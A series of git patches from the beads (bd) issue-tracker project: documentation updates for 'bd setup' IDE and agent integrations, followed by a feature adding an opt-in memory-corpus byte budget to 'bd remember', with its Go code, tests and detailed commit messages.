flags freshness" job would fail on every PR and merge-group run, as it did for ERROR_HANDLING.md (#7266). Re-reviewed against cmd/bd/setup.go, cmd/bd/setup/ and internal/recipes/ at e72cd8b31 and corrected what had drifted: - bd setup cursor installs the agent skill and .cursor/hooks.json (sessionStart, preCompact, postToolUse) besides the rules file, and takes --global (hooks and skill only). - bd setup claude writes its managed section to AGENTS.md when CLAUDE.md is an @AGENTS.md import stub. - bd setup codex takes --global. - bd init runs the Claude Code, Codex and Cursor project setup, not Codex alone. The marker is 2026-10-05, not the UTC date, because the script rejects a future date and a Pacific shell still reads 10-05. Co-authored-by: Claude Fable 5.1 --- docs/getting-started/ide-setup.md | 34 +++++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 9 deletions(-) diff --git a/docs/getting-started/ide-setup.md b/docs/getting-started/ide-setup.md index 47a4537da..4eea8a09e 100644 --- a/docs/getting-started/ide-setup.md +++ b/docs/getting-started/ide-setup.md @@ -5,7 +5,7 @@ description: Configure bd setup recipes, hooks, and instruction files for Claude Configure your IDE or coding agent for optimal beads integration. -Last reviewed: 2026-07-10 +Last reviewed: 2026-10-05 Freshness source: `cmd/bd/setup*.go` and `internal/recipes/`. @@ -23,10 +23,10 @@ bd setup claude --remove # Uninstall | Recipe | Files written | Details | |--------|---------------|---------| | `claude` | `.claude/settings.json` (or `~/.claude/settings.json` with `--global`) + `CLAUDE.md` section | [Claude Code](/integrations/claude-code) | -| `cursor` | `.cursor/rules/beads.mdc` | [Cursor](/integrations/cursor) | +| `cursor` | `.cursor/rules/beads.mdc` + `.agents/skills/beads/` + `.cursor/hooks.json` (with `--global`: `~/.cursor/hooks.json` + `~/.agents/skills/beads/`, no rules file) | [Cursor](/integrations/cursor) | | `gemini` | `~/.gemini/settings.json` (or `.gemini/settings.json` with `--project`) + `GEMINI.md` section | [Gemini CLI](/integrations/gemini) | | `copilot` | `.copilot-plugin/plugin.json` + `.github/copilot-instructions.md` | [Copilot CLI](/integrations/copilot-cli) | -| `codex` | `.agents/skills/beads/` + `AGENTS.md` section + `.codex/` hooks | [Codex](/integrations/codex) | +| `codex` | `.agents/skills/beads/` + `AGENTS.md` section + `.codex/` hooks (with `--global`: `~/.agents/skills/beads/` + `$CODEX_HOME` or `~/.codex`) | [Codex](/integrations/codex) | | `factory` | `AGENTS.md` section | [Factory.ai Droid](/integrations/factory) | | `mux` | `AGENTS.md` section (+ `.mux/` layers with `--project`/`--global`) | [Mux](/integrations/mux) | | `opencode` | `AGENTS.md` section | [OpenCode](/integrations/opencode) | @@ -95,7 +95,7 @@ bd setup claude --global # Global install: ~/.claude/settings.json This installs: - **SessionStart hook** - Runs `bd prime --hook-json`, which wraps the workflow context in the JSON envelope Claude Code expects. SessionStart fires when a session starts, resumes, or clears, and again after context compaction — no separate compaction hook is needed. -- **Minimal beads section in `CLAUDE.md`** - A pointer to `bd prime`, managed with hash/version markers for safe updates and `--check` freshness detection. +- **Minimal beads section in `CLAUDE.md`** - A pointer to `bd prime`, managed with hash/version markers for safe updates and `--check` freshness detection. If `CLAUDE.md` is a thin stub that imports `AGENTS.md` (an `@AGENTS.md` line of its own), the section is written to `AGENTS.md` instead, and a stale beads block left in the stub by an older bd is removed. If the [beads Claude Code plugin](/integrations/claude-code-plugin) is installed, hooks are plugin-managed and `bd setup claude` skips writing them, so `bd prime` doesn't fire twice per session. @@ -143,11 +143,26 @@ If you prefer manual configuration, add the hook to your Claude Code settings: ## Cursor IDE ```bash -bd setup cursor # Always-applied rules file +bd setup cursor # Project install: rules file + agent skill + hooks +bd setup cursor --global # Global install: hooks + agent skill (no rules file) ``` -This creates `.cursor/rules/beads.mdc` with beads-aware rules that Cursor -re-includes every turn. +A project install writes three things: + +- **`.cursor/rules/beads.mdc`** - an always-applied rules file that Cursor + re-includes every turn. +- **`.agents/skills/beads/`** - the beads agent skill, the same one + `bd setup codex` installs. `--remove` keeps it while the Codex integration + still uses it. +- **`.cursor/hooks.json`** - `sessionStart`, `preCompact`, and `postToolUse` + hooks that run `bd cursor-hook `, so `bd` must be on `PATH` for + Cursor. Your own entries in `hooks.json` are left alone. + +`--global` writes the hooks to `~/.cursor/hooks.json` and the skill to +`~/.agents/skills/beads/`. Cursor has no file-based global rules location, so +add global rules in Cursor Settings or run `bd setup cursor` per project. + +Restart Cursor (or start a new `cursor-agent` session) after installing. **Verify:** ```bash @@ -201,9 +216,10 @@ bd setup factory # Factory.ai Droid — AGENTS.md section bd setup mux # Mux — AGENTS.md section (+ --project/--global layers) bd setup opencode # OpenCode — AGENTS.md section bd setup codex # Codex — beads skill + AGENTS.md guidance + native hooks +bd setup codex --global # Same, under ~/.agents/skills/beads and $CODEX_HOME (or ~/.codex) ``` -These create or update a managed section in `AGENTS.md` (see Managed Sections above). `bd init` runs the project Codex setup automatically unless `--skip-agents` or `--stealth` is used. In worktree, shared, or `BEADS_DIR` setups, use `bd where` to confirm the resolved workspace — these integrations do not require a local `./.beads`. Restart the tool after setup if it is already running. +These create or update a managed section in `AGENTS.md` (see Managed Sections above). `bd init` runs the project Claude Code, Codex, and Cursor setup automatically unless `--skip-agents` or `--stealth` is used (or the repository is bare). In worktree, shared, or `BEADS_DIR` setups, use `bd where` to confirm the resolved workspace — these integrations do not require a local `./.beads`. Restart the tool after setup if it is already running. Details: [Factory.ai Droid](/integrations/factory), [Mux](/integrations/mux), [OpenCode](/integrations/opencode), [Codex](/integrations/codex). @@ -349,7 +365,7 @@ bd setup --print | Type | Description | Used by | |------|-------------|---------| -| `file` | Write the template to a single file | windsurf, cody, kilocode, kiro | +| `file` | Write the template to a single file | windsurf, cody, kilocode, kiro, cursor (which also installs a skill and hooks) | | `hooks` | Modify JSON settings to add hooks | claude, gemini | | `section` | Inject a marked section into an existing file | factory, codex, mux, opencode | | `multifile` | Write multiple files | aider, copilot, junie | From 1ea51450925f2710bfd598fb1cb628a6fa4fae80 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:04:06 +0000 Subject: [PATCH 015/213] =?UTF-8?q?feat(remember):=20opt-in=20memories.bud?= =?UTF-8?q?get-chars=20=E2=80=94=20warn=20at=2080%,=20refuse=20a=20write?= =?UTF-8?q?=20that=20crosses=20the=20corpus=20budget=20(--force=20override?= =?UTF-8?q?s)=20(#6508)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(remember): opt-in memories.budget-chars — refuse a write that crosses the corpus budget (wy-2pox7y) The wheelhouse-side tripwire only REPORTS the memory-corpus size, so the corpus re-trips red every few days and nothing has ever stopped the write that crossed the line. This is the stop. New config key `memories.budget-chars` (integer, default 0 = OFF), wired exactly like `prime.max-memory-chars`: recognized in cmd/bd/config.go, routed to yaml in internal/config YamlOnlyKeys (it is read through viper, so a DB-backed write would be accepted and then never read), validated non-negative at set time, and documented in docs/reference/configuration.md. With the budget ON, `bd remember` measures the corpus as the sum over every memory of len(key)+len(content) — BYTES, the same unit `bd prime`'s --max-memory-chars counts in — projected to AFTER the write would apply. An overwrite replaces that key's old content in the sum rather than adding to it, so a memory near the ceiling can still be edited. - over budget -> refused, nothing written, exit 1, one line on stderr - over budget + --force -> written, and the crossing is still announced - >= 80% and within -> written, then warned - below 80%, or budget 0 -> silent; with the budget off the corpus is not even read, so behavior is byte-identical to before Every line goes to STDERR, so --json output is never corrupted; a --json refusal additionally gets the normal machine-readable error object on stdout. The whole decision is one pure function (rememberBudgetVerdict), which is what lets the branches be pinned without a database. Tests run (targeted, never ./...): go build ./... rc 0 go vet ./cmd/bd/ ./internal/config/ rc 0 go test ./cmd/bd/ -run 'Memor|Remember|Prime|Budget' -count=1 rc 0 go test ./internal/config/ -count=1 rc 0 BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/ \ -run TestEmbeddedMemoryCorpusBudget -count=1 -v rc 0 (6/6 subtests) golangci-lint run --config=.golangci.yml --build-tags=gms_pure_go \ ./cmd/bd/... ./internal/config/... 0 issues in touched files (one pre-existing gosec G304 in internal/config/permissions_open_nonlinux.go) New tests: cmd/bd/memory_budget_pure_test.go (byte unit incl. multibyte, overwrite delta, budget-off silence, config read + negative clamp, the at-budget/one-over boundary, --force, the 80% warn band and its edges, unclamped percentage, single-line contract); cmd/bd/memory_embedded_test.go TestEmbeddedMemoryCorpusBudget (the same five spec points end to end against a real embedded-Dolt store, through `bd config set`, asserting the exact stderr lines, the nonzero exit, and that a refused write leaves the old content intact); internal/config/yaml_config_test.go validation + yaml-only routing. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_013XmKxqKuXTaKivDiCoBwBV * fix(remember): one --json refusal line, ceil on the over-budget percentage (wy-2pox7y) Review fixes on ca9f14d65d. Three items; one review item turned out to be a false alarm and is recorded here rather than acted on. - BLOCKER 1 (CLI docs regeneration) — NO CHANGE NEEDED, and that is the finding. docs/cli-reference/ and docs/CLI_REFERENCE.md are not generated from this checkout: docs/cli-docs.pin pins them to release tag v1.2.2, and scripts/generate-cli-docs.sh, check-cli-docs-drift.sh and check-doc-flags.sh all resolve that pin (resolve-docs-bd.sh) and build bd from the TAG, because the published docs site describes the latest release, not main's source. No CI path sets BD_DOCS_IGNORE_PIN. So changing `bd remember`'s help surface on main cannot move the generated docs, and it did not: ./scripts/generate-cli-docs.sh ran to completion ("Generated CLI docs from: bd version 1.2.2 (dev)") and left the tree clean — zero diff. The gate is green at this commit and was green at ca9f14d65d. The --force flag and the Corpus budget paragraph reach the docs when the pin is bumped at release. - NIT 1: the --json refusal said the same sentence twice, prose on stderr AND the envelope on stdout. It now says it ONCE, the way HandleErrorWithHintRespectJSON does it: --json gets only the stdout envelope, every other route gets the bare sentence on stderr. New subtest TestEmbeddedMemoryCorpusBudget/json_refusal_is_said_once asserts a nonzero exit, EXACTLY one JSON document on stdout (a second Decode must be io.EOF), the refusal sentence inside the envelope, a stderr with no "memory corpus" in it, and that the refused write left the old content intact. - NIT 2: floor arithmetic made the refusal at 201 of 200 read "(100%)" — the exactly-at-budget value this code deliberately ALLOWS, so the refusal wore the number of the case it is not. The percentage now CEILINGS over the budget (101%) and still FLOORS within it. The split is on the VALUE, not on --force, so one projection cannot report two different percentages depending on a flag; that is why the forced over-budget line moved too. TestRememberBudgetVerdictBoundary, TestRememberBudgetVerdictForceWrites and TestMemoryBudgetLinePercentIsUnclamped updated; the warn band gains a 999-of-1000 case pinning the floor inside the budget, so "100%" can only ever mean at-budget. - NIT 5: one comment at the List/Remember seam saying the budget is ADVISORY and not atomic — the two are separate transactions, so concurrent writers can both measure inside the budget and both land. No locking. Nits 3 (primeConfigInt duplication) and 4 were left alone by instruction. Gates run from the worktree: go build ./... rc 0 go vet ./cmd/bd/ ./internal/config/ rc 0 go test ./cmd/bd/ -run 'Memor|Remember|Prime|Budget' -count=1 rc 0 go test ./internal/config/ -count=1 rc 0 BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/ \ -run TestEmbeddedMemoryCorpusBudget -count=1 -v rc 0 (7/7) gofmt -l cmd/bd internal/config no output golangci-lint run ./cmd/bd/ ./internal/config/ 1 issue, all pre-existing: gosec G304 in internal/config/permissions_open_nonlinux.go (last touched f4d496fed, not by this branch) ./scripts/check-cli-docs-drift.sh rc 0 ./scripts/check-doc-flags.sh rc 0 Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01JFSKdUYCTyuhBM97tHyoye * ci: list the PR's tests in the embedded shard manifest and cmd/bd BUILD.bazel #7156 made the embedded-Dolt shard manifests exact-once, and Bazel equivalence requires every test file in the go_test srcs. Adds TestEmbeddedMemoryCorpusBudget (generator output, incremental) and memory_budget_pure_test.go (the line CI's bazel-sync patch printed). Co-Authored-By: Claude Fable 5.1 * fix(remember): budget the key ResolveKey writes; hint on stderr too Review fixes for #6508 (apply-fixes iteration 1; all minor or nit): - The budget credits an overwrite under memoryapi.ResolveKey's key, the one rule every Remember implementation writes under, instead of a parallel flag-else-derived copy of it. A write ResolveKey refuses skips the budget, so a whitespace-only --key gets the role's "memory key must not be empty" instead of an over-budget refusal that points at --force. - The stderr refusal now carries the same hint as the --json envelope (raise the budget, forget a memory, or --force), printed the way HandleErrorWithHintRespectJSON prints one. - The memoryCorpusChars comment and `bd remember --help` no longer imply that a budget equal to prime.max-memory-chars keeps prime from eliding memories: the unit (bytes) is the same, but prime counts each memory as rendered, markup included, so the budget has to sit below that cap for that. - New embedded pins: a write without --key that crosses the budget is refused with exit 1 and writes nothing; a blank --key gets the validation error; the Hint line is on stderr and not under --json. Each pin was checked red against a mutant of the code it guards. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Eddie the Engineer Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 1 + cmd/bd/BUILD.bazel | 1 + cmd/bd/config.go | 4 + cmd/bd/memory.go | 182 +++++++++++++ cmd/bd/memory_budget_pure_test.go | 258 +++++++++++++++++++ cmd/bd/memory_embedded_test.go | 224 ++++++++++++++++ docs/reference/configuration.md | 3 +- internal/config/yaml_config.go | 13 + internal/config/yaml_config_test.go | 47 ++++ 9 files changed, 732 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/memory_budget_pure_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 535bf8d06..11dc95811 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -293,6 +293,7 @@ 50 16 TestEmbeddedGateInheritsDownParentChain 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady +50 16 TestEmbeddedMemoryCorpusBudget 50 16 TestEmbeddedOpen_EmptyDatabaseRejected 50 16 TestEmbeddedRestoreConcurrent 50 16 TestEmbeddedVCCommitVariantsAndMerge diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 765e55702..21a8fe722 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -918,6 +918,7 @@ go_test( "markdown_test.go", "max_rows_embedded_test.go", "max_rows_test.go", + "memory_budget_pure_test.go", "memory_embedded_test.go", "memory_proxied_integration_test.go", "memory_pure_test.go", diff --git a/cmd/bd/config.go b/cmd/bd/config.go index a475f89d2..64cd85b55 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -1356,6 +1356,10 @@ var recognizedConfigKeys = map[string]bool{ "auto_compact_enabled": true, "schema_version": true, "output.title-length": true, "prime.max-memories": true, "prime.max-memory-chars": true, + // Opt-in ceiling on the persistent-memory corpus, enforced by `bd + // remember` (0 = off). Yaml-only for the same reason the prime caps are: + // it is read through viper, so a DB-backed write would never be seen. + "memories.budget-chars": true, // The events-journal family. All four are startup settings that land in // config.yaml (config.YamlOnlyKeys), and every one of them is documented as // a `bd config set` invocation — including the auto-prune opt-out, where an diff --git a/cmd/bd/memory.go b/cmd/bd/memory.go index ef4746358..944ec014a 100644 --- a/cmd/bd/memory.go +++ b/cmd/bd/memory.go @@ -9,6 +9,7 @@ import ( "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/memoryapi" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage/kvkeys" @@ -106,6 +107,112 @@ func matchesKnownCommand(cmd *cobra.Command, insight string) (string, bool) { return "", false } +// memoryForceFlag is `bd remember --force`: write even when the corpus budget +// would be crossed. It only has meaning when memories.budget-chars is set. +var memoryForceFlag bool + +// memoryConfigInt reads an integer config key (stubbable for tests), the way +// primeConfigInt does for the prime-side injection caps. +var memoryConfigInt = func(key string) int { + return config.GetInt(key) +} + +// memoryCorpusBudget resolves the memories.budget-chars ceiling. 0 — the +// default — means OFF, and so does a negative value: the budget is opt-in, and +// a nonsense setting must not turn into a refusal the operator never asked for. +func memoryCorpusBudget() int { + budget := memoryConfigInt("memories.budget-chars") + if budget < 0 { + return 0 + } + return budget +} + +// memoryCorpusChars sums len(key)+len(content) over a corpus. +// +// The unit is BYTES (Go len), deliberately the same unit prime's +// --max-memory-chars cap counts in, so the two numbers are comparable. They are +// not the same MEASURE: prime counts each entry as it renders it — the key and +// value plus a few bytes of heading or bullet markup per memory, and the +// compact form truncates long values — so a corpus sitting exactly at a budget +// equal to prime.max-memory-chars can still have memories elided at injection. +// A budget meant to keep prime from eliding anything has to sit below that cap. +func memoryCorpusChars(memories map[string]string) int { + total := 0 + for k, v := range memories { + total += len(k) + len(v) + } + return total +} + +// projectedMemoryCorpusChars is that sum AFTER a write of content under key +// would apply. An OVERWRITE replaces the key's old content in the sum instead +// of adding to it — the delta, not the sum — which is what makes editing an +// existing memory possible at all once a corpus is near its ceiling. +func projectedMemoryCorpusChars(existing map[string]string, key, content string) int { + total := memoryCorpusChars(existing) + if old, ok := existing[key]; ok { + total -= len(key) + len(old) + } + return total + len(key) + len(content) +} + +// memoryBudgetLine renders the ONE stderr line the budget check emits, and +// says whether the write must be refused. +// +// Three outcomes, in order of severity: +// - over budget, no --force: refuse, naming the override. +// - over budget with --force: write, but SAY SO — a forced crossing that +// printed nothing would make the budget invisible exactly when it matters. +// - at or above 80% of budget and within it: write, warn. That is the whole +// point of a budget over a tripwire: the warning arrives while there is +// still room to act on it. +// +// Below 80%, and whenever the budget is off, it returns "" and the command is +// silent — byte-identical to the pre-budget behavior. +// +// The percentage FLOORS within the budget and CEILINGS over it, and the +// rounding is not cosmetic: floor(201*100/200) is 100, and "100%" is exactly +// the at-budget reading this code deliberately ALLOWS — so a floored refusal +// would report the number of the case it is not. Ceiling above the line makes +// every over-budget line read 101% or more, and the split is on the VALUE, not +// on --force, so the same projection never reports two different percentages +// depending on a flag. Both forms are int64 arithmetic, so a large budget +// cannot overflow the comparison. +func memoryBudgetLine(projected, budget int, force bool) (line string, refuse bool) { + if budget <= 0 { + return "", false + } + pct := int(int64(projected) * 100 / int64(budget)) + if projected > budget { + pct = int((int64(projected)*100 + int64(budget) - 1) / int64(budget)) + } + switch { + case projected > budget && !force: + return fmt.Sprintf("bd remember: memory corpus would be %d chars, budget is %d (%d%%) — refused; use --force to override", projected, budget, pct), true + case projected > budget: + return fmt.Sprintf("bd remember: memory corpus at %d of %d chars (%d%%) — over budget, written anyway (--force)", projected, budget, pct), false + case int64(projected)*5 >= int64(budget)*4: + return fmt.Sprintf("bd remember: memory corpus at %d of %d chars (%d%%)", projected, budget, pct), false + } + return "", false +} + +// rememberBudgetVerdict is the whole budget decision as ONE pure function: +// given the corpus as it stands, the write about to be made, the budget and +// --force, it answers with the line to print (empty = say nothing) and whether +// the write must be refused. The command around it only has to fetch the +// corpus and obey. +// +// Keeping it pure is what lets every branch — off, boundary, overwrite delta, +// force, warn — be pinned by a test that needs neither a database nor cgo. +func rememberBudgetVerdict(existing map[string]string, key, content string, budget int, force bool) (line string, refuse bool) { + if budget <= 0 { + return "", false + } + return memoryBudgetLine(projectedMemoryCorpusChars(existing, key, content), budget, force) +} + // rememberBareKeyPath implements the desire-path / footgun guard for // `bd remember ` (no --key): a bare slug naming an EXISTING memory // is recalled instead of stored; a bare slug naming nothing is refused. The @@ -247,6 +354,14 @@ unless --key is given). As a convenience, if the arg is a bare key naming an existing memory, it is RECALLED instead of stored (same as 'bd recall'); a bare key naming nothing is refused. Use --key to store slug-like content. +Corpus budget (opt-in, off by default): set the memories.budget-chars config +key to a byte ceiling for the whole memory corpus (sum of len(key)+len(content)). +A write that would cross it is refused, and --force overrides; a write that +lands at or above 80% of the budget warns. With the key unset nothing changes. +bd prime's --max-memory-chars also counts bytes, but of each memory as +injected, formatting included, so a budget equal to that cap does not +guarantee prime injects every memory; set the budget below it for that. + Examples: bd remember "always run tests with -race flag" bd remember "Dolt phantom DBs hide in three places" --key dolt-phantoms @@ -324,6 +439,68 @@ Examples: return rememberBareKeyPath(derived, insight, recalled.Value) } + // Corpus budget (memories.budget-chars, OPT-IN, 0 = off). The + // wheelhouse-side tripwire only REPORTS the corpus size, so the corpus + // re-trips red every few days and nothing ever stops the write that + // crossed the line. This is the stop. + // + // It sits here, between the read-shaped branches above and the write + // below, because it is the last thing that can decide NOT to write — + // and above the role because a budget is a front-door policy, not a + // property of the memory plane (an HTTP POST must not inherit it). + // + // When the budget is off the whole block is skipped: no extra List, no + // output, nothing. Behavior is then byte-identical to the pre-budget + // command, which is what TestRememberBudgetVerdictOffIsSilent and the embedded + // budget_off_is_silent case pin. + // + // The key an overwrite is credited against is ResolveKey's, the one + // rule every Remember implementation lands a write under, so it cannot + // drift from the store's key. A write ResolveKey refuses (empty + // content, a whitespace-only --key, content that derives no key) skips + // the budget: Remember refuses it below with its own validation + // sentence, and a refused write crosses nothing. + budgetKey, budgetKeyErr := memoryapi.ResolveKey(memoryKeyFlag, insight) + var budgetLine string + if budget := memoryCorpusBudget(); budget > 0 && budgetKeyErr == nil { + // ADVISORY, not atomic: this List and the Remember below are + // separate transactions, so two concurrent writers can both measure + // a corpus inside the budget and both land, leaving it over. The + // budget is a guardrail against a corpus drifting past its ceiling + // one deliberate write at a time, not a hard limit — no locking. + corpus, err := memories.List(rootCtx, memoryops.ListRequest{}) + if err != nil { + return HandleErrorRespectJSON("reading the memory corpus for the budget check: %v", err) + } + line, refuse := rememberBudgetVerdict(corpus.Memories, budgetKey, insight, budget, memoryForceFlag) + if refuse { + // The budget line IS the refusal sentence, so it prints as + // itself: routing it through HandleError would prefix it with + // "Error: " and reword text agents will match on. + // + // It is said ONCE, on exactly one stream, the way + // HandleErrorWithHintRespectJSON does it: --json gets only the + // machine-readable envelope on stdout (printing the prose to + // stderr as well would make the same refusal arrive twice), + // and every other route gets the bare sentence on stderr, + // where it can never corrupt structured output. Both routes + // carry the same hint, so a terminal user is offered the same + // ways out as a JSON consumer. + const hint = "raise memories.budget-chars, forget a memory, or pass --force" + if jsonOutput { + jsonStdoutError(line, hint) + } else { + fmt.Fprintln(os.Stderr, line) + fmt.Fprintf(os.Stderr, "Hint: %s\n", hint) + } + return SilentExit() + } + // Not a refusal: the write happens first and the line reports the + // corpus that now exists, so no line ever describes a write that + // did not land. + budgetLine = line + } + result, err := memories.Remember(rootCtx, memoryops.RememberRequest{Key: memoryKeyFlag, Content: insight}) if err != nil { // The role's two refusals ARE this command's shipped sentences — @@ -338,6 +515,10 @@ Examples: } noteDirectMemoryWrite() + if budgetLine != "" { + fmt.Fprintln(os.Stderr, budgetLine) + } + // Remembered versus Updated is Replaced, observed in the SAME // transaction as the write. The shipped code read the row first and // described a moment that had already passed. @@ -485,6 +666,7 @@ func truncateMemory(s string, maxLen int) string { func init() { rememberCmd.Flags().StringVar(&memoryKeyFlag, "key", "", "Explicit key for the memory (auto-generated from content if not set). If a memory with this key already exists, it will be updated in place") + rememberCmd.Flags().BoolVar(&memoryForceFlag, "force", false, "Store even when the write would cross the memories.budget-chars corpus budget (no effect when the budget is unset)") rootCmd.AddCommand(rememberCmd) rootCmd.AddCommand(memoriesCmd) diff --git a/cmd/bd/memory_budget_pure_test.go b/cmd/bd/memory_budget_pure_test.go new file mode 100644 index 000000000..69a524d1d --- /dev/null +++ b/cmd/bd/memory_budget_pure_test.go @@ -0,0 +1,258 @@ +// Pure-Go tests for the `bd remember` corpus budget (memories.budget-chars). +// No cgo / Dolt dependency, so this file carries no build tag and compiles +// under CGO_ENABLED=0 with gms_pure_go, exactly like memory_pure_test.go. +// +// The whole budget decision lives in one pure function (rememberBudgetVerdict), +// so every branch the knob has — off, boundary, overwrite delta, --force, the +// 80% warn — is pinned here without a database. The end-to-end plumbing (the +// stderr routing and the nonzero exit) is pinned against a real store by +// TestEmbeddedMemoryCorpusBudget in memory_embedded_test.go. + +package main + +import ( + "fmt" + "strings" + "testing" +) + +// budgetCorpus builds a corpus whose measured size is exactly want bytes, +// under a single key. len(key)+len(content) is the unit the budget counts in, +// so the content is padded to want-len(key). +func budgetCorpus(t *testing.T, key string, want int) map[string]string { + t.Helper() + if want < len(key) { + t.Fatalf("corpus of %d bytes cannot hold key %q (%d bytes)", want, key, len(key)) + } + corpus := map[string]string{key: strings.Repeat("x", want-len(key))} + if got := memoryCorpusChars(corpus); got != want { + t.Fatalf("corpus fixture measured %d bytes, want %d", got, want) + } + return corpus +} + +// TestMemoryCorpusCharsCountsKeyAndContentBytes pins the UNIT: bytes of +// len(key)+len(content), the same unit prime's --max-memory-chars counts in. +// A rune-counting implementation would disagree on any non-ASCII memory, which +// is why the multibyte case is here. +func TestMemoryCorpusCharsCountsKeyAndContentBytes(t *testing.T) { + if got := memoryCorpusChars(nil); got != 0 { + t.Fatalf("empty corpus = %d, want 0", got) + } + corpus := map[string]string{"ab": "cde", "f": "gh"} + if got, want := memoryCorpusChars(corpus), 2+3+1+2; got != want { + t.Fatalf("corpus = %d, want %d", got, want) + } + // "é" is two bytes; the budget must see two. + if got, want := memoryCorpusChars(map[string]string{"k": "é"}), 3; got != want { + t.Fatalf("multibyte corpus = %d, want %d (bytes, not runes)", got, want) + } +} + +// TestProjectedMemoryCorpusCharsOverwriteCountsDelta is spec point (c): an +// overwrite REPLACES the key's old content in the sum instead of adding to it. +// Without this, editing one memory down to nothing would still read as growth +// and a corpus at its ceiling could never be repaired. +func TestProjectedMemoryCorpusCharsOverwriteCountsDelta(t *testing.T) { + existing := map[string]string{"k": "aaaa", "other": "bb"} // 1+4 + 5+2 = 12 + + // New key: pure addition. + if got, want := projectedMemoryCorpusChars(existing, "new", "xyz"), 12+3+3; got != want { + t.Errorf("new key projection = %d, want %d", got, want) + } + // Overwrite with longer content: only the delta lands. + if got, want := projectedMemoryCorpusChars(existing, "k", "aaaaaa"), 12+2; got != want { + t.Errorf("growing overwrite projection = %d, want %d", got, want) + } + // Overwrite with shorter content: the corpus SHRINKS. + if got, want := projectedMemoryCorpusChars(existing, "k", "a"), 12-3; got != want { + t.Errorf("shrinking overwrite projection = %d, want %d", got, want) + } + // Identical rewrite: no change at all. + if got, want := projectedMemoryCorpusChars(existing, "k", "aaaa"), 12; got != want { + t.Errorf("identical overwrite projection = %d, want %d", got, want) + } + // A key whose stored value is empty still has its key counted once, not twice. + empty := map[string]string{"k": ""} + if got, want := projectedMemoryCorpusChars(empty, "k", "zz"), 3; got != want { + t.Errorf("empty-valued overwrite projection = %d, want %d", got, want) + } +} + +// TestRememberBudgetVerdictOffIsSilent is spec point (a): with the budget unset +// (or 0, or a nonsense negative) nothing is ever refused and nothing is ever +// printed, no matter how large the corpus is. +func TestRememberBudgetVerdictOffIsSilent(t *testing.T) { + huge := budgetCorpus(t, "k", 1_000_000) + for _, budget := range []int{0, -1, -1000} { + for _, force := range []bool{false, true} { + line, refuse := rememberBudgetVerdict(huge, "new", strings.Repeat("y", 5000), budget, force) + if refuse || line != "" { + t.Fatalf("budget=%d force=%v: budget-off must be silent, got refuse=%v line=%q", budget, force, refuse, line) + } + } + } +} + +// TestMemoryCorpusBudgetReadsConfig pins the config read, including the clamp +// that keeps a negative value meaning OFF rather than "refuse everything". +func TestMemoryCorpusBudgetReadsConfig(t *testing.T) { + orig := memoryConfigInt + t.Cleanup(func() { memoryConfigInt = orig }) + + values := map[string]int{} + memoryConfigInt = func(key string) int { return values[key] } + + if got := memoryCorpusBudget(); got != 0 { + t.Fatalf("unset budget = %d, want 0 (off)", got) + } + values["memories.budget-chars"] = 4096 + if got := memoryCorpusBudget(); got != 4096 { + t.Fatalf("configured budget = %d, want 4096", got) + } + values["memories.budget-chars"] = -5 + if got := memoryCorpusBudget(); got != 0 { + t.Fatalf("negative budget = %d, want 0 (off)", got) + } +} + +// TestRememberBudgetVerdictBoundary is spec point (b): a projection exactly AT +// the budget writes; exactly one byte over refuses. The two cases differ by a +// single byte of content, so nothing but the comparison can explain a failure. +func TestRememberBudgetVerdictBoundary(t *testing.T) { + const budget = 200 + // Corpus at 100 bytes; the new memory's key costs 3. + existing := budgetCorpus(t, "old", 100) + + // Exactly at the budget: 100 + 3 + 97 = 200. Writes (and warns: 100%). + atBudget, refuse := rememberBudgetVerdict(existing, "new", strings.Repeat("z", 97), budget, false) + if refuse { + t.Fatalf("a projection exactly at the budget must write, got refusal %q", atBudget) + } + if !strings.Contains(atBudget, "at 200 of 200 chars (100%)") { + t.Errorf("at-budget line = %q, want the 100%% warn line", atBudget) + } + + // One byte over: 201. Refused. + over, refuse := rememberBudgetVerdict(existing, "new", strings.Repeat("z", 98), budget, false) + if !refuse { + t.Fatalf("a projection one byte over the budget must refuse, got line %q", over) + } + // 201 of 200 is 100.5%, and it must NOT round down into "100%": that is the + // at-budget reading the case just above deliberately ALLOWS, so a floored + // refusal would wear the number of the case it is not. Over the line the + // percentage ceilings. + want := "bd remember: memory corpus would be 201 chars, budget is 200 (101%) — refused; use --force to override" + if over != want { + t.Errorf("refusal line =\n %q\nwant\n %q", over, want) + } +} + +// TestRememberBudgetVerdictForceWrites is spec point (d): --force turns the +// refusal into a write, and STILL prints a line — a forced crossing that said +// nothing would make the budget invisible exactly when it matters most. +func TestRememberBudgetVerdictForceWrites(t *testing.T) { + existing := budgetCorpus(t, "old", 100) + + line, refuse := rememberBudgetVerdict(existing, "new", strings.Repeat("z", 98), 200, true) + if refuse { + t.Fatalf("--force must not refuse, got refusal %q", line) + } + if line == "" { + t.Fatal("--force over budget must still print a line") + } + // (101%), not (100%): the ceiling over the budget is a property of the + // VALUE, so the same projection cannot report two different percentages + // depending on whether --force was passed. + for _, want := range []string{"201", "200", "(101%)", "--force"} { + if !strings.Contains(line, want) { + t.Errorf("forced line %q is missing %q", line, want) + } + } + if strings.Contains(line, "refused") { + t.Errorf("forced line must not claim a refusal: %q", line) + } +} + 